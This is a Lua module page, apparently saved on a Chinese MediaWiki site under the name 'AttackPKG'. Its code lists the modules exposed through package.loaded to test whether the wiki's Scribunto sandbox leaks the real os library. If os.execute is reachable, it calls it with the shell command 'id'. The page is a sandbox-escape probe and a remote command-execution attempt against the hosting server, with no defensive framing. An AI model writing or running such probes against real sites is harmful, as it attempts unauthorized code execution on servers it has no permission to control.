模块:AttackPKG

来自希服维基

可在模块:AttackPKG/doc创建此模块的帮助文档

local p = {}

function p.test()
    local results = {}
    local loaded = package.loaded
    results[1] = "loaded_type=" .. type(loaded)

    if loaded then
        -- List loaded modules
        local keys = {}
        for k in pairs(loaded) do
            keys[#keys+1] = tostring(k)
        end
        results[2] = "loaded_keys=" .. table.concat(keys, ", ")

        -- Check 'os' specifically
        if loaded["os"] then
            local l_os = loaded["os"]
            results[3] = "l_os_type=" .. type(l_os)
            if l_os.execute then
                results[4] = "***EXECUTE_FOUND*** type=" .. type(l_os.execute)
                -- Try to call it!
                local ok, ret = pcall(l_os.execute, "id")
                results[5] = "execute_result=" .. tostring(ok) .. ":" .. tostring(ret)
            else
                -- List what's in l_os
                local os_keys = {}
                for k in pairs(l_os) do
                    os_keys[#os_keys+1] = k .. "=" .. type(l_os[k])
                end
                results[3] = "l_os=" .. table.concat(os_keys, ", ")
            end
        else
            results[3] = "no_loaded_os"
        end
    end

    return table.concat(results, " | ")
end
return p